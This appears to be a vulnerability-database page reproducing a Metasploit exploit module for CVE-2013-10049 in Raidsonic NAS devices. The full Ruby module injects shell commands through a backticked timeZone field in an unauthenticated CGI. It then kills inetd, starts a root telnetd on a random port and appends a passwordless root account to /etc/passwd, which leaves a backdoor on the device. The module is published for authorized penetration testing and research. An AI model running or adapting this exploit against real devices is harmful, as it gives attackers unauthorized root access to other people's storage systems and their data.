Lucene search
+L

Raidsonic NAS Devices Unauthenticated Remote Command Execution

🗓️ 04 Feb 2013 00:00:00Reported by Michael Messner <[email protected]>, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

Raidsonic NAS Devices Unauthenticated Remote Command Execution via timeHandler.cg

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2013-10049
1 Aug 202520:47
attackerkb
circl
Circl
CVE-2013-10049
29 May 201815:50
circl
cnnvd
CNNVD
Raidsonic IB-NAS5220和Raidsonic IB-NAS4220 安全漏洞
1 Aug 202500:00
cnnvd
cve
CVE
CVE-2013-10049
1 Aug 202520:47
cve
cvelist
Cvelist
CVE-2013-10049 Raidsonic NAS Devices Unauthenticated Remote Command Execution
1 Aug 202520:47
cvelist
euvd
EUVD
EUVD-2013-7262
7 Oct 202500:30
euvd
nvd
NVD
CVE-2013-10049
1 Aug 202521:15
nvd
ptsecurity
Positive Technologies
PT-2025-31686 · Raidsonic · Ib-Nas5220 +1
1 Aug 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2013-10049
4 Aug 202509:32
redhatcve
vulnrichment
Vulnrichment
CVE-2013-10049 Raidsonic NAS Devices Unauthenticated Remote Command Execution
1 Aug 202520:47
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # It's backdooring the remote device

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  RESPONSE_PATTERN = "\<FORM\ NAME\=\"form\"\ METHOD\=\"POST\"\ ACTION\=\"\/cgi\/time\/time.cgi\"\ ENCTYPE\=\"multipart\/form-data"

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Raidsonic NAS Devices Unauthenticated Remote Command Execution',
        'Description' => %q{
          Different Raidsonic NAS devices are vulnerable to OS command injection via the web
          interface. The vulnerability exists in timeHandler.cgi, which is accessible without
          authentication. This module has been tested with the versions IB-NAS5220 and
          IB-NAS4220. Since this module is adding a new user and modifying the inetd daemon
          configuration, this module is set to ManualRanking and could cause target instability.
        },
        'Author' => [
          'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-10049' ],
          [ 'OSVDB', '90221' ],
          [ 'EDB', '24499' ],
          [ 'BID', '57958' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-010' ]
        ],
        'DisclosureDate' => '2013-02-04',
        'Privileged' => true,
        'Platform' => 'unix',
        'Payload' => {
          'Compat' => {
            'PayloadType' => 'cmd_interact',
            'ConnectionType' => 'find',
          },
        },
        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_advanced_options(
      [
        OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
        OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
      ]
    )
  end

  def tel_timeout
    (datastore['TelnetTimeout'] || 10).to_i
  end

  def banner_timeout
    (datastore['TelnetBannerTimeout'] || 25).to_i
  end

  def exploit
    telnet_port = rand(32767) + 32768

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Telnet port: #{telnet_port}")

    # first request
    cmd = "killall inetd"
    cmd = Rex::Text.uri_encode(cmd)
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - sending first request - killing inetd")

    res = request(cmd)
    # no server header or something that we could use to get sure the command is executed
    if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end

    # second request
    inetd_cfg = rand_text_alpha(8)
    cmd = "echo \"#{telnet_port} stream tcp nowait root /usr/sbin/telnetd telnetd\" > /tmp/#{inetd_cfg}"
    cmd = Rex::Text.uri_encode(cmd)
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - sending second request - configure inetd")

    res = request(cmd)
    # no server header or something that we could use to get sure the command is executed
    if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    register_file_for_cleanup("/tmp/#{inetd_cfg}")

    # third request
    cmd = "/usr/sbin/inetd /tmp/#{inetd_cfg}"
    cmd = Rex::Text.uri_encode(cmd)
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - sending third request - starting inetd and telnetd")

    res = request(cmd)
    # no server header or something that we could use to get sure the command is executed
    if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end

    # fourth request
    @user = rand_text_alpha(6)
    cmd = "echo \"#{@user}::0:0:/:/bin/ash\" >> /etc/passwd"
    cmd = Rex::Text.uri_encode(cmd)
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - sending fourth request - configure user #{@user}")

    res = request(cmd)
    # no server header or something that we could use to get sure the command is executed
    if (!res or res.code != 200 or res.body !~ /#{RESPONSE_PATTERN}/)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Trying to establish a telnet connection...")
    ctx = { 'Msf' => framework, 'MsfExploit' => self }
    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port.to_i, 'Context' => ctx })

    if sock.nil?
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
    end

    add_socket(sock)

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Trying to establish a telnet session...")
    prompt = negotiate_telnet(sock)
    if prompt.nil?
      sock.close
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
    else
      print_good("#{Rex::Socket.to_authority(rhost, rport)} - Telnet session successfully established...")
    end

    handler(sock)
  end

  def request(cmd)
    uri = '/cgi/time/timeHandler.cgi'

    begin
      res = send_request_cgi({
        'uri' => uri,
        'method' => 'POST',
        # not working without setting encode_params to false!
        'encode_params' => false,
        'vars_post' => {
          "month" => "#{rand(12)}",
          "date" => "#{rand(30)}",
          "year" => "20#{rand(99)}",
          "hour" => "#{rand(12)}",
          "minute" => "#{rand(60)}",
          "ampm" => "PM",
          "timeZone" => "Amsterdam`#{cmd}`",
          "ntp_type" => "default",
          "ntpServer" => "none",
          "old_date" => " 1 12007",
          "old_time" => "1210",
          "old_timeZone" => "Amsterdam",
          "renew" => "0"
        }
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
    end
  end

  def negotiate_telnet(sock)
    login = read_telnet(sock, "login: $")
    if login
      sock.put("#{@user}\r\n")
    end
    return read_telnet(sock, "> $")
  end

  def read_telnet(sock, pattern)
    begin
      Timeout.timeout(banner_timeout) do
        while (true)
          data = sock.get_once(-1, tel_timeout)
          return nil if not data or data.length == 0
          if data =~ /#{pattern}/
            return true
          end
        end
      end
    rescue ::Timeout::Error
      return nil
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation